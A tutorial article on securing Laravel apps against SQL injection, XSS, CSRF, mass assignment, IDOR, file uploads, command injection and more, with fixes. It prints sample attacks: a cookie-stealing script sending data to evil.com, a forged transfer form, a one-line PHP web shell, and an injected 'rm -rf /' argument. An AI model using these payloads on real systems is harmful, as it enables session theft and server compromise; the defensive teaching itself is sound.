Security is not a feature you add at the end of a project. It is a layer of thinking that should run through every route, every model, every form, and every API endpoint you write. Laravel ships with a solid security foundation — but only if you know how to use it, and more importantly, how not to accidentally bypass it.

This article walks through the most common and dangerous attacks targeting Laravel applications in the real world, showing exactly what the vulnerability looks like, how an attacker exploits it, and how to defend against it with concrete code.

1. SQL Injection

What it is

SQL injection happens when user-supplied input is embedded directly into a raw SQL query, allowing an attacker to alter the query's logic, extract data, or destroy records.

The vulnerable code

// ❌ DANGEROUS — never do this
$username = $request->input('username');

$user = DB::select("SELECT * FROM users WHERE username = '$username'");

If an attacker submits ' OR '1'='1, the query becomes:

SELECT * FROM users WHERE username = '' OR '1'='1'

This returns all users. With more creative input, they can dump tables, delete data, or even execute shell commands on some database engines.

The fix: Always use Eloquent or parameterized queries

// ✅ Safe — Eloquent escapes automatically
$user = User::where('username', $request->input('username'))->first();

// ✅ Safe — parameterized raw query
$user = DB::select('SELECT * FROM users WHERE username = ?', [$request->input('username')]);

// ✅ Safe — named bindings
$user = DB::select(
    'SELECT * FROM users WHERE username = :name',
    ['name' => $request->input('username')]
);

Eloquent's query builder uses PDO prepared statements under the hood. The parameter is never interpolated into the SQL string — it is sent separately to the database engine.

When you must use raw expressions

Sometimes you need raw SQL inside a query builder. Use DB::raw() only for column names or expressions, never for user input:

// ✅ Safe — raw expression on a fixed value
$users = User::orderByRaw('FIELD(role, "admin", "editor", "viewer")')->get();

// ❌ DANGEROUS — raw expression from user input
$column = $request->input('sort_by');
$users = User::orderByRaw($column)->get(); // never do this

If you need a user-chosen sort column, whitelist it:

$allowedColumns = ['name', 'created_at', 'email'];
$column = in_array($request->input('sort_by'), $allowedColumns)
    ? $request->input('sort_by')
    : 'created_at';

$users = User::orderBy($column)->get();

2. Cross-Site Scripting (XSS)

What it is

XSS occurs when an attacker injects malicious JavaScript into a page that other users view. The script runs in their browser, where it can steal session cookies, redirect users, or silently submit forms.

The vulnerable code

// A stored comment in the database:
// <script>document.location='https://evil.com/?c='+document.cookie</script>

// In the Blade template:
{!! $comment->body !!}  // ❌ raw output — executes any HTML/JS

The fix: Use Blade's double-curly-brace syntax

{{-- ✅ Safe — Blade escapes HTML entities automatically --}}
{{ $comment->body }}

{{-- This renders the script tag as plain text, not as executable JS --}}

Blade's {{ }} syntax runs htmlspecialchars() on the value before output. <script> becomes <script> — visible as text, not interpreted by the browser.

When you need to render HTML

If users can submit formatted content (a WYSIWYG editor, for example), sanitize before storing:

// Install: composer require ezyang/htmlpurifier
use HTMLPurifier;
use HTMLPurifier_Config;

$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);

$safeHtml = $purifier->purify($request->input('body'));

Post::create(['body' => $safeHtml]);

Then you can safely render with {!! $post->body !!} because the dangerous tags have already been stripped.

Content Security Policy (CSP) as a second layer

Even if XSS slips through, a strict CSP header limits what injected scripts can do:

// app/Http/Middleware/SecurityHeaders.php

public function handle(Request $request, Closure $next)
{
    $response = $next($request);

    $response->headers->set(
        'Content-Security-Policy',
        "default-src 'self'; script-src 'self'; object-src 'none';"
    );

    return $response;
}

3. Cross-Site Request Forgery (CSRF)

What it is

CSRF tricks a logged-in user into unknowingly submitting a request to your application. Because the browser automatically sends cookies with every request, the server can't tell the real user from the forged request — unless you use a CSRF token.

The attack scenario

An attacker hosts a page with this hidden form:

<!-- On evil.com -->
<form action="https://yourbank.com/transfer" method="POST">
    <input type="hidden" name="amount" value="5000">
    <input type="hidden" name="to_account" value="attacker_account">
</form>
<script>document.forms[0].submit();</script>

If your user visits evil.com while logged into yourbank.com, their browser sends the transfer request — with their real session cookie attached.

The fix: Laravel's built-in CSRF protection

Laravel's VerifyCsrfToken middleware is enabled by default on all web routes. Every state-changing form must include the @csrf directive:

{{-- ✅ Always include @csrf in forms --}}
<form method="POST" action="/transfer">
    @csrf
    <input type="number" name="amount">
    <button type="submit">Transfer</button>
</form>

This outputs a hidden field with a unique token tied to the user's session. Laravel validates it on every POST, PUT, PATCH, and DELETE request.

CSRF for AJAX requests

// Include the token in your Axios setup (from the meta tag in your layout)
axios.defaults.headers.common['X-XSRF-TOKEN'] = document.cookie
    .match(/XSRF-TOKEN=([^;]+)/)?.[1];

// Or use the meta tag approach:
// <meta name="csrf-token" content="{{ csrf_token() }}">
const token = document.querySelector('meta[name="csrf-token"]').content;
fetch('/api/transfer', {
    method: 'POST',
    headers: { 'X-CSRF-TOKEN': token, 'Content-Type': 'application/json' },
    body: JSON.stringify({ amount: 100 })
});

Excluding routes from CSRF

API routes under routes/api.php are excluded from CSRF by default. If you need to exclude specific web routes (e.g., for webhooks), add them to the middleware:

// app/Http/Middleware/VerifyCsrfToken.php

protected $except = [
    'stripe/webhook',
    'github/webhook',
];

4. Mass Assignment Vulnerability

What it is

Mass assignment lets you populate a model with an array of attributes in one call — very convenient, but dangerous if you blindly pass raw request data. An attacker can inject extra fields (like is_admin) that you never intended to be writable.

The attack

Imagine a user registration form. The attacker adds an extra field to the POST body:

name=John&email=john@example.com&password=secret&is_admin=1

And your controller looks like this:

// ❌ DANGEROUS
User::create($request->all());

If is_admin is not protected, the attacker just gave themselves admin rights.

The fix: Use $fillable or $guarded

Option A — Allowlist with $fillable (recommended):

class User extends Authenticatable
{
    // Only these fields can be mass-assigned
    protected $fillable = ['name', 'email', 'password'];
}

Option B — Blocklist with $guarded:

class User extends Authenticatable
{
    // These fields can NEVER be mass-assigned
    protected $guarded = ['is_admin', 'role', 'email_verified_at'];
}

In controllers, always use only() or validated() to explicitly pick fields:

// ✅ Use only the fields you expect
User::create($request->only(['name', 'email', 'password']));

// ✅ Or use validated() from a Form Request
User::create($request->validated());

5. Broken Authentication & Session Hijacking

What it is

Weak authentication allows attackers to impersonate legitimate users — either by cracking passwords, stealing sessions, or exploiting "remember me" tokens.

Secure password hashing

Laravel uses bcrypt by default through the Hash facade. Never store plain-text passwords:

// ✅ Creating a user
User::create([
    'name'     => $request->name,
    'email'    => $request->email,
    'password' => Hash::make($request->password), // bcrypt by default
]);

// ✅ Verifying a password
if (Hash::check($request->password, $user->password)) {
    // password matches
}

Secure session configuration

In config/session.php, tighten these settings:

return [
    // Use database or Redis — never 'file' in production on shared hosts
    'driver' => env('SESSION_DRIVER', 'database'),

    // Tie the session to the domain — prevents subdomain session theft
    'domain' => env('SESSION_DOMAIN', null),

    // Session cookie only sent over HTTPS
    'secure' => env('SESSION_SECURE_COOKIE', true),

    // Block JavaScript from reading the session cookie
    'http_only' => true,

    // Prevent cross-site cookie sending (Strict or Lax)
    'same_site' => 'lax',

    // Session lifetime in minutes
    'lifetime' => 120,

    // Destroy session on browser close
    'expire_on_close' => false,
];

Regenerate session after login

Always regenerate the session ID after a successful login to prevent session fixation attacks:

// Laravel's Auth::login() does this automatically,
// but if authenticating manually:
$request->session()->regenerate();

Rate limiting login attempts

// routes/web.php
Route::post('/login', [AuthController::class, 'login'])
    ->middleware('throttle:5,1'); // 5 attempts per minute

// Or use Laravel's built-in RateLimiter in RouteServiceProvider
RateLimiter::for('login', function (Request $request) {
    return Limit::perMinute(5)->by($request->input('email') . '|' . $request->ip());
});

6. Insecure Direct Object Reference (IDOR)

What it is

IDOR happens when users can access resources that belong to other users simply by changing an ID in the URL or request body.

The vulnerable code

// ❌ Any user can view any invoice by changing the ID
public function show(int $id)
{
    $invoice = Invoice::findOrFail($id);
    return view('invoices.show', compact('invoice'));
}

User A visits /invoices/55 and simply tries /invoices/56 to see someone else's invoice.

The fix: Scope queries to the authenticated user

// ✅ Scope to the currently authenticated user
public function show(int $id)
{
    $invoice = Invoice::where('user_id', auth()->id())
                      ->findOrFail($id);

    return view('invoices.show', compact('invoice'));
}

Using Laravel Policies (the cleanest approach)

// app/Policies/InvoicePolicy.php

public function view(User $user, Invoice $invoice): bool
{
    return $user->id === $invoice->user_id;
}

// Register in AuthServiceProvider, then in the controller:
public function show(Invoice $invoice)
{
    $this->authorize('view', $invoice);
    return view('invoices.show', compact('invoice'));
}

Policies centralize your authorization logic and make it testable in isolation from your controllers.

7. Sensitive Data Exposure

What it is

Sensitive data exposure means passwords, tokens, API keys, or personal data leak through logs, error messages, API responses, or misconfigured environment files.

Never expose .env in production

Ensure your .env file is never in a web-accessible directory, and always confirm:

// config/app.php — must be false in production
'debug' => env('APP_DEBUG', false),

A debug-enabled production app exposes full stack traces, config values, and query strings to anyone who triggers an error.

Hiding sensitive fields from API responses

class User extends Authenticatable
{
    // These fields are never included in toArray() or toJson()
    protected $hidden = ['password', 'remember_token', 'two_factor_secret'];

    // Cast types for safe serialization
    protected $casts = [
        'email_verified_at' => 'datetime',
        'password'          => 'hashed',
    ];
}

Using API Resources for controlled output

Never return a raw model from an API endpoint. Use API Resources to explicitly declare what is visible:

// app/Http/Resources/UserResource.php

public function toArray(Request $request): array
{
    return [
        'id'    => $this->id,
        'name'  => $this->name,
        'email' => $this->email,
        // 'password', 'remember_token', etc. — simply not included
    ];
}

// In controller:
return new UserResource($user);

Encrypting sensitive database columns

For fields like social security numbers or private keys, use Laravel's encrypted cast:

class Patient extends Model
{
    protected $casts = [
        'ssn'            => 'encrypted',
        'medical_notes'  => 'encrypted',
    ];
}

// Stored as ciphertext in DB, decrypted transparently on access
$patient->ssn; // returns the plain value

8. File Upload Vulnerabilities

What it is

Allowing users to upload files without validation can let attackers upload PHP scripts that get executed on your server — giving them full remote code execution (RCE).

The vulnerable code

// ❌ DANGEROUS — no validation, no type checking
$request->file('avatar')->store('avatars');

An attacker uploads shell.php with content <?php system($_GET['cmd']); ?> and then visits yourdomain.com/storage/avatars/shell.php?cmd=whoami.

The fix: Validate, rename, and never store in public directories

// ✅ Validate strictly in a Form Request
public function rules(): array
{
    return [
        'avatar' => [
            'required',
            'file',
            'mimes:jpg,jpeg,png,webp', // whitelist MIME types
            'max:2048',                // max 2MB
        ],
    ];
}

// In the controller:
public function upload(UploadRequest $request)
{
    $file = $request->file('avatar');

    // Generate a random filename — never use the original name
    $filename = Str::uuid() . '.' . $file->getClientOriginalExtension();

    // Store outside the public directory
    $path = $file->storeAs('avatars', $filename, 'private');

    auth()->user()->update(['avatar_path' => $path]);
}

Serving private files through a controller

// routes/web.php
Route::get('/avatar/{user}', [UserController::class, 'avatar'])
    ->middleware('auth');

// In controller — stream the file only to authorized users
public function avatar(User $user)
{
    $this->authorize('view', $user);

    return Storage::disk('private')->response($user->avatar_path);
}

This way, uploaded files are never directly accessible via URL — they go through your application's authorization layer.

9. Command Injection & Remote Code Execution

What it is

If your application runs shell commands using user-controlled input, an attacker can append additional commands using shell operators like ;, &&, or |.

The vulnerable code

// ❌ DANGEROUS — user input goes straight into shell
$filename = $request->input('filename');
exec("convert uploads/$filename output.pdf");

// Attacker submits: "image.jpg; rm -rf /"
// Command becomes: convert uploads/image.jpg; rm -rf / output.pdf

The fix: Escape input and use escapeshellarg()

// ✅ Escape the argument
$filename = basename($request->input('filename')); // strip path traversal
$safeFilename = escapeshellarg($filename);

exec("convert uploads/$safeFilename output.pdf");

Better still — avoid shell commands entirely. Use PHP libraries:

// Instead of calling ImageMagick via shell, use Intervention Image
use Intervention\Image\Facades\Image;

$image = Image::make($request->file('photo'));
$image->resize(300, 200)->save(storage_path("app/resized/{$filename}"));

10. Security Headers

A single middleware can add a layer of browser-enforced protection across your entire application:

// app/Http/Middleware/SecurityHeaders.php

public function handle(Request $request, Closure $next)
{
    $response = $next($request);

    $response->headers->set('X-Content-Type-Options', 'nosniff');
    $response->headers->set('X-Frame-Options', 'SAMEORIGIN');
    $response->headers->set('X-XSS-Protection', '1; mode=block');
    $response->headers->set('Referrer-Policy', 'strict-origin-when-cross-origin');
    $response->headers->set('Permissions-Policy', 'camera=(), microphone=(), geolocation=()');
    $response->headers->set(
        'Strict-Transport-Security',
        'max-age=31536000; includeSubDomains'
    );
    $response->headers->set(
        'Content-Security-Policy',
        "default-src 'self'; script-src 'self'; img-src 'self' data:; object-src 'none';"
    );

    return $response;
}

Register in app/Http/Kernel.php under $middlewareGroups['web']:

protected $middlewareGroups = [
    'web' => [
        // ... existing middleware
        \App\Http\Middleware\SecurityHeaders::class,
    ],
];

What each header does:

None

Quick Security Checklist for Every Laravel Project

Before going to production, run through this list:

[ ] APP_DEBUG=false in production
[ ] APP_KEY is set and not shared publicly
[ ] All forms include @csrf
[ ] Models use $fillable or $guarded
[ ] User input never interpolated into raw SQL
[ ] Blade templates use {{ }} not {!! !!} for user content
[ ] Uploaded files validated by MIME type and size
[ ] Uploaded files stored outside public/
[ ] Passwords hashed with Hash::make()
[ ] Sessions configured with secure, http_only, same_site
[ ] API resources used instead of raw model serialization
[ ] Sensitive fields in $hidden on models
[ ] Authorization checked on every resource action (Policies)
[ ] Security headers middleware registered
[ ] Rate limiting on login, registration, and sensitive endpoints
[ ] .env is not committed to version control

Summary

Laravel is not insecure by default — but it does give you enough rope to hang yourself if you bypass its protections. The most dangerous moments are when developers reach for convenience shortcuts: raw SQL queries, {!! !!} rendering, $request->all() passed directly to create(), or shell commands built from user input.

The pattern across every vulnerability in this article is the same: never trust input, always validate output, and use Laravel's built-in tools rather than working around them. Eloquent, Blade, CSRF middleware, policies, and form requests exist precisely to make doing the right thing the path of least resistance.

Security is not a checkbox. It is a habit built one route, one model, and one form at a time.